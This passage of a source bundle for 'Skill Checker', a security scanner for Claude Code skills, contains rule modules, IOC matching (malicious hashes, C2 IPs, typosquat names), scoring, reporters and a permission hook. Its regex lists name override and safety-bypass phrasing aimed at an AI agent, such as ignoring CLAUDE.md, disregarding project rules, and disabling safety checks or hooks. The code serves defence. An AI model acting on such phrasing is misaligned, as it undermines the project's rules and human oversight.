TextLine[] {\n return getAllText(skill);\n}\n\n/** Find the global index of a source:lineNum in the flat list */\nfunction findGlobalLineIndex(\n allLines: TextLine[],\n source: string,\n lineNum: number\n): number {\n return allLines.findIndex(\n (l) => l.source === source && l.lineNum === lineNum\n );\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\n\n/** Recursive/amplification patterns */\nconst AMPLIFICATION_PATTERNS = [\n /\\brepeat\\s+(this|the\\s+above)\\s+\\d+\\s+times\\b/i,\n /\\bdo\\s+this\\s+forever\\b/i,\n /\\binfinite\\s+loop\\b/i,\n /\\bwhile\\s*\\(\\s*true\\s*\\)/,\n /\\bfor\\s*\\(\\s*;;\\s*\\)/,\n /\\brecursively\\s+(apply|run|execute|call)/i,\n /\\bkeep\\s+(running|doing|executing)\\s+until/i,\n];\n\n/** Requesting unrestricted tool access */\nconst UNRESTRICTED_TOOL_PATTERNS = [\n /\\bBash\\s*\\(\\s*\\*\\s*\\)/,\n /allowed[_-]?tools\\s*:\\s*\\[?\\s*[\"']?\\*[\"']?\\s*\\]?/i,\n /\\ball\\s+tools\\b/i,\n /\\bunrestricted\\s+access\\b/i,\n /\\bfull\\s+access\\b/i,\n];\n\n/** Patterns that disable safety */\nconst DISABLE_SAFETY_PATTERNS = [\n /\\bdisable\\s+(safety|security|checks?|hooks?|guard)/i,\n /\\bbypass\\s+(safety|security|checks?|hooks?|guard)/i,\n /\\bskip\\s+(safety|security|checks?|hooks?|guard|verification)/i,\n /\\bturn\\s+off\\s+(safety|security|checks?|hooks?)/i,\n /--no-verify\\b/,\n /--force\\b/,\n /--skip-hooks?\\b/,\n];\n\n/** Patterns that ignore project rules */\nconst IGNORE_RULES_PATTERNS = [\n /\\bignore\\s+(the\\s+)?CLAUDE\\.md\\b/i,\n /\\bignore\\s+(the\\s+)?project\\s+rules?\\b/i,\n /\\bignore\\s+(the\\s+)?\\.claude\\b/i,\n /\\boverride\\s+(the\\s+)?project\\s+(settings?|config|rules?)\\b/i,\n /\\bdo\\s+not\\s+(follow|obey|respect)\\s+(the\\s+)?(project|CLAUDE)/i,\n /\\bdisregard\\s+(the\\s+)?(project|CLAUDE)\\s+(rules?|config|settings?)/i,\n];\n\n/** Token waste patterns */\nconst TOKEN_WASTE_PATTERNS = [\n /\\brepeat\\s+(every|each)\\s+(response|answer|reply)/i,\n /\\balways\\s+(start|begin|end)\\s+(every|each)\\s+(response|answer|reply)\\s+with/i,\n /\\binclude\\s+this\\s+(text|message|string)\\s+in\\s+(every|each|all)/i,\n /\\bprint\\s+(the\\s+)?full\\s+(source|code|file)\\s+(every|each)\\s+time/i,\n];\n\nexport const resourceChecks: CheckModule = {\n name: 'Resource Abuse',\n category: 'RES',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n const lineNum = skill.bodyStartLine + i;\n\n // RES-001: Instruction amplification\n for (const pattern of AMPLIFICATION_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-001',\n category: 'RES',\n severity: 'HIGH',\n title: 'Instruction amplification',\n message: `Line ${lineNum}: Contains recursive/repetitive task pattern.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-002: Unrestricted tool access\n for (const pattern of UNRESTRICTED_TOOL_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-002',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Unrestricted tool access requested',\n message: `Line ${lineNum}: Requests broad/unrestricted tool access.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-004: Disable safety checks\n for (const pattern of DISABLE_SAFETY_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-004',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Attempts to disable safety checks',\n message: `Line ${lineNum}: Instructs disabling of safety mechanisms.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-005: Token waste\n for (const pattern of TOKEN_WASTE_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-005',\n category: 'RES',\n severity: 'MEDIUM',\n title: 'Token waste pattern',\n message: `Line ${lineNum}: Contains instructions that waste tokens.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-006: Ignore CLAUDE.md / project rules\n for (const pattern of IGNORE_RULES_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-006',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Attempts to ignore project rules',\n message: `Line ${lineNum}: Instructs ignoring CLAUDE.md or project configuration.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n }\n\n // RES-003: Excessive allowed-tools\n const allowedTools = skill.frontmatter['allowed-tools'];\n if (Array.isArray(allowedTools) && allowedTools.length > 15) {\n results.push({\n id: 'RES-003',\n category: 'RES',\n severity: 'MEDIUM',\n title: 'Excessive allowed-tools list',\n message: `Frontmatter declares ${allowedTools.length} allowed tools. This is unusually broad.`,\n });\n }\n\n // RES-002 (frontmatter): Check allowed-tools for dangerous patterns\n if (Array.isArray(allowedTools)) {\n for (const tool of allowedTools) {\n if (typeof tool !== 'string') continue;\n for (const pattern of UNRESTRICTED_TOOL_PATTERNS) {\n if (pattern.test(tool)) {\n results.push({\n id: 'RES-002',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Unrestricted tool access requested',\n message: `Frontmatter allowed-tools contains dangerous pattern: \"${tool}\"`,\n snippet: tool.slice(0, 120),\n });\n break;\n }\n }\n }\n }\n\n return results;\n },\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { createHash } from 'node:crypto';\nimport { openSync, readSync, closeSync, statSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { levenshtein } from '../utils/levenshtein.js';\nimport type { IOCDatabase } from './indicators.js';\nimport type { ParsedSkill } from '../types.js';\n\n/** SHA256 hash of empty content — must never be treated as malicious */\nconst EMPTY_FILE_HASH = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';\n\n/** IPv4 pattern — matches standalone IPs in text */\nconst IPV4_PATTERN = /\\b(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\b/g;\n\n/** Private/reserved IP ranges to exclude */\nfunction isPrivateIP(ip: string): boolean {\n const parts = ip.split('.').map(Number);\n if (parts.length !== 4 || parts.some((p) => p < 0 || p > 255)) return true;\n // 127.x.x.x (loopback)\n if (parts[0] === 127) return true;\n // 10.x.x.x\n if (parts[0] === 10) return true;\n // 172.16-31.x.x\n if (parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) return true;\n // 192.168.x.x\n if (parts[0] === 192 && parts[1] === 168) return true;\n // 0.0.0.0\n if (parts.every((p) => p === 0)) return true;\n // 169.254.x.x (link-local)\n if (parts[0] === 169 && parts[1] === 254) return true;\n return false;\n}\n\n/** Chunk size for streaming hash computation (64 KB) */\nconst HASH_CHUNK_SIZE = 64 * 1024;\n\n/**\n * Compute SHA256 hash of a file using chunked reads to avoid\n * loading the entire file into memory.\n */\nfunction computeFileHash(filePath: string): string {\n const hash = createHash('sha256');\n const fd = openSync(filePath, 'r');\n try {\n const buf = Buffer.alloc(HASH_CHUNK_SIZE);\n let bytesRead: number;\n do {\n bytesRead = readSync(fd, buf, 0, HASH_CHUNK_SIZE, null);\n if (bytesRead > 0) {\n hash.update(buf.subarray(0, bytesRead));\n }\n } while (bytesRead > 0);\n } finally {\n closeSync(fd);\n }\n return hash.digest('hex');\n}\n\n/**\n * SUPPLY-008: Check file hashes against known malicious hashes.\n * Uses streaming hash computation — no file size limit.\n */\nexport function matchMaliciousHashes(\n skill: ParsedSkill,\n ioc: IOCDatabase\n): { file: string; hash: string; description: string }[] {\n const matches: { file: string; hash: string; description: string }[] = [];\n const hashKeys = Object.keys(ioc.malicious_hashes);\n if (hashKeys.length === 0) return matches;\n\n for (const file of skill.files) {\n const filePath = join(skill.dirPath, file.path);\n try {\n const stat = statSync(filePath);\n if (stat.size === 0) continue;\n const hash = computeFileHash(filePath);\n if (hash === EMPTY_FILE_HASH) continue;\n if (ioc.malicious_hashes[hash]) {\n matches.push({\n file: file.path,\n hash,\n description: ioc.malicious_hashes[hash],\n });\n }\n } catch {\n // Skip unreadable files\n }\n }\n\n return matches;\n}\n\n/**\n * SUPPLY-009: Extract IPs from skill content and match against C2 list.\n */\nexport function matchC2IPs(\n skill: ParsedSkill,\n ioc: IOCDatabase\n): { ip: string; line: number; source: string; snippet: string }[] {\n const matches: { ip: string; line: number; source: string; snippet: string }[] = [];\n if (ioc.c2_ips.length === 0) return matches;\n\n const c2Set = new Set(ioc.c2_ips);\n const allText = getAllText(skill);\n\n for (const { line, lineNum, source } of allText) {\n let m: RegExpExecArray | null;\n const re = new RegExp(IPV4_PATTERN.source, 'g');\n while ((m = re.exec(line)) !== null) {\n const ip = m[1];\n if (!isPrivateIP(ip) && c2Set.has(ip)) {\n matches.push({\n ip,\n line: lineNum,\n source,\n snippet: line.trim().slice(0, 120),\n });\n }\n }\n }\n\n return matches;\n}\n\n/**\n * SUPPLY-010: Check skill name for typosquatting.\n * Two-layer strategy:\n * 1. Exact match against known_patterns → CRITICAL\n * 2. Levenshtein distance ≤ 2 against protected_names → HIGH\n */\nexport function matchTyposquat(\n skillName: string,\n ioc: IOCDatabase\n): { type: 'known' | 'similar'; target: string; distance?: number } | null {\n if (!skillName) return null;\n const name = skillName.toLowerCase().trim();\n\n // Layer 1: exact match against known typosquat patterns\n for (const pattern of ioc.typosquat.known_patterns) {\n if (name === pattern.toLowerCase()) {\n return { type: 'known', target: pattern };\n }\n }\n\n // Layer 2: edit distance against protected names\n for (const protected_name of ioc.typosquat.protected_names) {\n const pn = protected_name.toLowerCase();\n if (name === pn) continue; // exact match = legitimate, skip\n const dist = levenshtein(name, pn);\n if (dist > 0 && dist <= 2) {\n return { type: 'similar', target: protected_name, distance: dist };\n }\n }\n\n return null;\n}\n\ntype TextLine = { line: string; lineNum: number; source: string };\n\nfunction getAllText(skill: ParsedSkill): TextLine[] {\n const result: TextLine[] = [];\n\n for (let i = 0; i < skill.bodyLines.length; i++) {\n result.push({\n line: skill.bodyLines[i],\n lineNum: skill.bodyStartLine + i,\n source: 'SKILL.md',\n });\n }\n\n for (const file of skill.files) {\n if (file.content && file.path !== 'SKILL.md') {\n const lines = file.content.split('\\n');\n for (let i = 0; i < lines.length; i++) {\n result.push({ line: lines[i], lineNum: i + 1, source: file.path });\n }\n }\n }\n\n return result;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Compute the Levenshtein (edit) distance between two strings.\n * Uses the classic dynamic programming approach with O(min(m,n)) space.\n */\nexport function levenshtein(a: string, b: string): number {\n if (a === b) return 0;\n if (a.length === 0) return b.length;\n if (b.length === 0) return a.length;\n\n // Ensure a is the shorter string for space optimization\n if (a.length > b.length) [a, b] = [b, a];\n\n const aLen = a.length;\n const bLen = b.length;\n let prev = new Array(aLen + 1);\n let curr = new Array(aLen + 1);\n\n for (let i = 0; i <= aLen; i++) prev[i] = i;\n\n for (let j = 1; j <= bLen; j++) {\n curr[0] = j;\n for (let i = 1; i <= aLen; i++) {\n const cost = a[i - 1] === b[j - 1] ? 0 : 1;\n curr[i] = Math.min(\n prev[i] + 1, // deletion\n curr[i - 1] + 1, // insertion\n prev[i - 1] + cost // substitution\n );\n }\n [prev, curr] = [curr, prev];\n }\n\n return prev[aLen];\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { loadIOC } from '../ioc/index.js';\nimport {\n matchMaliciousHashes,\n matchC2IPs,\n matchTyposquat,\n} from '../ioc/matcher.js';\n\nexport const iocChecks: CheckModule = {\n name: 'IOC Threat Intelligence',\n category: 'SUPPLY',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n const ioc = loadIOC();\n\n // SUPPLY-008: Known malicious file hashes\n const hashMatches = matchMaliciousHashes(skill, ioc);\n for (const match of hashMatches) {\n results.push({\n id: 'SUPPLY-008',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'Known malicious file hash',\n message: `File \"${match.file}\" matches known malicious hash: ${match.description}`,\n snippet: match.hash,\n source: match.file,\n });\n }\n\n // SUPPLY-009: Known C2 IP addresses\n const ipMatches = matchC2IPs(skill, ioc);\n for (const match of ipMatches) {\n results.push({\n id: 'SUPPLY-009',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'Known C2 IP address',\n message: `${match.source}:${match.line}: Contains known C2 server IP: ${match.ip}`,\n line: match.line,\n snippet: match.snippet,\n source: match.source,\n });\n }\n\n // SUPPLY-010: Typosquat name detection\n const skillName = skill.frontmatter.name;\n if (skillName) {\n const typoMatch = matchTyposquat(skillName, ioc);\n if (typoMatch) {\n if (typoMatch.type === 'known') {\n results.push({\n id: 'SUPPLY-010',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'Known typosquat name',\n message: `Skill name \"${skillName}\" matches known typosquat pattern \"${typoMatch.target}\".`,\n snippet: skillName,\n });\n } else {\n results.push({\n id: 'SUPPLY-010',\n category: 'SUPPLY',\n severity: 'HIGH',\n title: 'Possible typosquat name',\n message: `Skill name \"${skillName}\" is similar to protected name \"${typoMatch.target}\" (edit distance: ${typoMatch.distance}).`,\n snippet: skillName,\n });\n }\n }\n }\n\n return results;\n },\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { structuralChecks } from './structural.js';\nimport { contentChecks } from './content.js';\nimport { injectionChecks } from './injection.js';\nimport { codeSafetyChecks } from './code-safety.js';\nimport { supplyChainChecks } from './supply-chain.js';\nimport { resourceChecks } from './resource.js';\nimport { iocChecks } from './ioc.js';\n\nconst ALL_MODULES: CheckModule[] = [\n structuralChecks,\n contentChecks,\n injectionChecks,\n codeSafetyChecks,\n supplyChainChecks,\n resourceChecks,\n iocChecks,\n];\n\n/**\n * Run all registered check modules against a parsed skill.\n */\nexport function runAllChecks(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n for (const mod of ALL_MODULES) {\n results.push(...mod.run(skill));\n }\n return results;\n}\n\nexport { ALL_MODULES };\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { parseSkill, parseSkillContent } from './parser.js';\nimport { runAllChecks } from './checks/index.js';\nimport type {\n CheckResult,\n ScanReport,\n SkillCheckerConfig,\n Severity,\n ParsedSkill,\n} from './types.js';\nimport { SEVERITY_SCORES, computeGrade, DEFAULT_CONFIG } from './types.js';\n\n/**\n * Scan a skill directory and produce a security report.\n */\nexport function scanSkillDirectory(\n dirPath: string,\n config: SkillCheckerConfig = DEFAULT_CONFIG\n): ScanReport {\n const skill = parseSkill(dirPath);\n return buildReport(skill, config);\n}\n\n/**\n * Scan a single SKILL.md content string.\n */\nexport function scanSkillContent(\n content: string,\n config: SkillCheckerConfig = DEFAULT_CONFIG\n): ScanReport {\n const skill = parseSkillContent(content);\n return buildReport(skill, config);\n}\n\nfunction buildReport(\n skill: ParsedSkill,\n config: SkillCheckerConfig\n): ScanReport {\n // Run all checks\n let results = runAllChecks(skill);\n\n // Apply severity overrides\n results = results.map((r) => {\n if (config.overrides[r.id]) {\n return { ...r, severity: config.overrides[r.id] };\n }\n return r;\n });\n\n // Filter ignored rules\n results = results.filter((r) => !config.ignore.includes(r.id));\n\n // Deduplicate: same rule + same source file → single finding with occurrences count\n results = deduplicateResults(results);\n\n // Calculate score\n const score = calculateScore(results);\n const grade = computeGrade(score);\n\n // Build summary\n const summary = {\n total: results.length,\n critical: results.filter((r) => r.severity === 'CRITICAL').length,\n high: results.filter((r) => r.severity === 'HIGH').length,\n medium: results.filter((r) => r.severity === 'MEDIUM').length,\n low: results.filter((r) => r.severity === 'LOW').length,\n };\n\n return {\n skillPath: skill.dirPath,\n skillName: skill.frontmatter.name ?? 'unknown',\n timestamp: new Date().toISOString(),\n results,\n score,\n grade,\n summary,\n };\n}\n\n/**\n * Deduplicate results: same rule ID + same source → single finding.\n * Keeps the highest severity (most conservative). Sets occurrences count.\n *\n * Key uses the structural `source` field when available.\n * Falls back to `category + line` when source is absent, to avoid\n * merging unrelated findings under a shared \"unknown\" bucket.\n */\nfunction deduplicateResults(results: CheckResult[]): CheckResult[] {\n const groups = new Map<string, CheckResult[]>();\n const severityOrder: Record<Severity, number> = {\n CRITICAL: 4, HIGH: 3, MEDIUM: 2, LOW: 1,\n };\n\n for (const r of results) {\n // Prefer structural source; fall back to category+line for uniqueness\n const sourceKey = r.source ?? `_no_source_:${r.category}:${r.line ?? ''}`;\n const key = `${r.id}::${sourceKey}`;\n const group = groups.get(key);\n if (group) {\n group.push(r);\n } else {\n groups.set(key, [r]);\n }\n }\n\n const deduped: CheckResult[] = [];\n for (const group of groups.values()) {\n // Pick the entry with highest severity\n group.sort((a, b) => severityOrder[b.severity] - severityOrder[a.severity]);\n const best = { ...group[0] };\n if (group.length > 1) {\n best.occurrences = group.length;\n // Only say \"in this file\" when we have a real source\n const suffix = best.source\n ? ` (${group.length} occurrences in this file)`\n : ` (${group.length} occurrences)`;\n best.message += suffix;\n }\n deduped.push(best);\n }\n\n return deduped;\n}\n\nfunction calculateScore(results: CheckResult[]): number {\n let score = 100;\n for (const r of results) {\n score -= SEVERITY_SCORES[r.severity];\n }\n return Math.max(0, score);\n}\n\n/**\n * Determine the worst severity found in results.\n */\nexport function worstSeverity(results: CheckResult[]): Severity | null {\n const order: Severity[] = ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'];\n for (const sev of order) {\n if (results.some((r) => r.severity === sev)) return sev;\n }\n return null;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport chalk from 'chalk';\nimport type { ScanReport, Severity, Grade } from '../types.js';\n\nconst SEVERITY_COLORS: Record<Severity, (s: string) => string> = {\n CRITICAL: chalk.bgRed.white.bold,\n HIGH: chalk.red.bold,\n MEDIUM: chalk.yellow,\n LOW: chalk.gray,\n};\n\nconst GRADE_COLORS: Record<Grade, (s: string) => string> = {\n A: chalk.green.bold,\n B: chalk.cyan.bold,\n C: chalk.yellow.bold,\n D: chalk.red.bold,\n F: chalk.bgRed.white.bold,\n};\n\nconst SEVERITY_ICONS: Record<Severity, string> = {\n CRITICAL: 'X',\n HIGH: '!',\n MEDIUM: '~',\n LOW: '-',\n};\n\nexport function formatTerminalReport(report: ScanReport): string {\n const lines: string[] = [];\n\n // Header\n lines.push('');\n lines.push(\n chalk.bold('Skill Security Report') +\n chalk.gray(` - ${report.skillName}`)\n );\n lines.push(chalk.gray(`Path: ${report.skillPath}`));\n lines.push(chalk.gray(`Time: ${report.timestamp}`));\n lines.push('');\n\n // Score & Grade\n const gradeStr = GRADE_COLORS[report.grade](` ${report.grade} `);\n const scoreStr =\n report.score >= 75\n ? chalk.green(`${report.score}/100`)\n : report.score >= 40\n ? chalk.yellow(`${report.score}/100`)\n : chalk.red(`${report.score}/100`);\n\n lines.push(`Grade: ${gradeStr} Score: ${scoreStr}`);\n lines.push('');\n\n // Summary bar\n const parts: string[] = [];\n if (report.summary.critical > 0)\n parts.push(chalk.bgRed.white(` ${report.summary.critical} CRITICAL `));\n if (report.summary.high > 0)\n parts.push(chalk.red(` ${report.summary.high} HIGH `));\n if (report.summary.medium > 0)\n parts.push(chalk.yellow(` ${report.summary.medium} MEDIUM `));\n if (report.summary.low > 0)\n parts.push(chalk.gray(` ${report.summary.low} LOW `));\n\n if (parts.length > 0) {\n lines.push(`Findings: ${parts.join(' ')}`);\n } else {\n lines.push(chalk.green('No issues found.'));\n }\n lines.push('');\n\n // Findings detail\n if (report.results.length > 0) {\n lines.push(chalk.bold.underline('Findings:'));\n lines.push('');\n\n // Group by category\n const grouped = new Map<string, typeof report.results>();\n for (const r of report.results) {\n const group = grouped.get(r.category) ?? [];\n group.push(r);\n grouped.set(r.category, group);\n }\n\n for (const [category, findings] of grouped) {\n lines.push(chalk.bold(`[${category}]`));\n\n // Sort by severity\n const order: Severity[] = ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'];\n findings.sort(\n (a, b) => order.indexOf(a.severity) - order.indexOf(b.severity)\n );\n\n for (const f of findings) {\n const icon = SEVERITY_ICONS[f.severity];\n const sevLabel = SEVERITY_COLORS[f.severity](\n ` ${f.severity} `\n );\n const idStr = chalk.gray(f.id);\n lines.push(` [${icon}] ${sevLabel} ${idStr} ${f.title}`);\n lines.push(` ${chalk.gray(f.message)}`);\n if (f.snippet) {\n lines.push(` ${chalk.dim(f.snippet)}`);\n }\n }\n lines.push('');\n }\n }\n\n // Recommendation\n lines.push(chalk.bold('Recommendation:'));\n switch (report.grade) {\n case 'A':\n lines.push(chalk.green(' Safe to install.'));\n break;\n case 'B':\n lines.push(chalk.cyan(' Minor issues found. Generally safe.'));\n break;\n case 'C':\n lines.push(\n chalk.yellow(' Review recommended before installation.')\n );\n break;\n case 'D':\n lines.push(\n chalk.red(' Significant risks detected. Install with caution.')\n );\n break;\n case 'F':\n lines.push(\n chalk.bgRed.white(' DO NOT INSTALL. Critical security issues found.')\n );\n break;\n }\n lines.push('');\n\n return lines.join('\\n');\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { ScanReport, SkillCheckerConfig, HookAction } from '../types.js';\nimport { getHookAction, DEFAULT_CONFIG } from '../types.js';\nimport { worstSeverity } from '../scanner.js';\n\n/**\n * Format a scan report as JSON string.\n */\nexport function formatJsonReport(report: ScanReport): string {\n return JSON.stringify(report, null, 2);\n}\n\n/**\n * Generate a hook response JSON for PreToolUse hooks.\n */\nexport interface HookResponse {\n permissionDecision: 'deny' | 'ask' | 'allow';\n reason?: string;\n additionalContext?: string;\n}\n\nexport function generateHookResponse(\n report: ScanReport,\n config: SkillCheckerConfig = DEFAULT_CONFIG\n): HookResponse {\n const worst = worstSeverity(report.results);\n\n if (!worst) {\n return { permissionDecision: 'allow' };\n }\n\n const action: HookAction = getHookAction(config.policy, worst);\n\n switch (action) {\n case 'deny':\n return {\n permissionDecision: 'deny',\n reason: buildDenySummary(report),\n };\n case 'ask':\n return {\n permissionDecision: 'ask',\n reason: buildAskSummary(report),\n };\n case 'report':\n return {\n permissionDecision: 'allow',\n additionalContext: buildReportSummary(report),\n };\n }\n}\n\nfunction buildDenySummary(report: ScanReport): string {\n const lines = [\n `Skill Security Check FAILED (Grade: ${report.grade}, Score: ${report.score}/100)`,\n ];\n const criticals = report.results.filter((r) => r.severity === 'CRITICAL');\n if (criticals.length > 0) {\n lines.push(`Critical issues (${criticals.length}):`);\n for (const c of criticals.slice(0, 5)) {\n lines.push(` - [${c.id}] ${c.title}: ${c.message}`);\n }\n }\n return lines.join('\\n');\n}\n\nfunction buildAskSummary(report: ScanReport): string {\n const lines = [\n `Skill Security Check: Grade ${report.grade} (${report.score}/100)`,\n `Found: ${report.summary.critical} critical, ${report.summary.high} high, ${report.summary.medium} medium issues.`,\n 'Review the findings before allowing installation.',\n ];\n return lines.join('\\n');\n}\n\nfunction buildReportSummary(report: ScanReport): string {\n const lines = [\n `[Skill Checker] Grade: ${report.grade} (${report.score}/100)`,\n `Issues: ${report.summary.total} (${report.summary.critical}C/${report.summary.high}H/${report.summary.medium}M/${report.summary.low}L)`,\n ];\n if (report.results.length > 0) {\n lines.push('Top findings:');\n for (const r of report.results.slice(0, 3)) {\n lines.push(` [${r.id}] ${r.severity}: ${r.title}`);\n }\n }\n return lines.join('\\n');\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { readFileSync, existsSync } from 'node:fs';\nimport { join, resolve } from 'node:path';\nimport { parse as parseYaml } from 'yaml';\nimport type { SkillCheckerConfig, PolicyLevel, Severity } from './types.js';\nimport { DEFAULT_CONFIG } from './types.js';\n\nconst CONFIG_FILENAMES = [\n '.skillcheckerrc.yaml',\n '.skillcheckerrc.yml',\n '.skillcheckerrc',\n];\n\n/**\n * Load configuration.\n * If configPath is provided and points to a file, load it directly.\n * Otherwise, search up the directory tree from startDir.\n */\nexport function loadConfig(startDir?: string, configPath?: string): SkillCheckerConfig {\n // Direct file path provided via --config\n if (configPath) {\n const absPath = resolve(configPath);\n if (existsSync(absPath)) {\n return parseConfigFile(absPath);\n }\n // Config file specified but not found - return default\n return { ...DEFAULT_CONFIG };\n }\n\n const dir = startDir ? resolve(startDir) : process.cwd();\n\n // Search for config file in current dir and parents\n let current = dir;\n while (true) {\n for (const filename of CONFIG_FILENAMES) {\n const configPath = join(current, filename);\n if (existsSync(configPath)) {\n return parseConfigFile(configPath);\n }\n }\n\n const parent = join(current, '..');\n if (parent === current) break; // reached root\n current = parent;\n }\n\n // Also check home directory\n const home = process.env.HOME ?? process.env.USERPROFILE;\n if 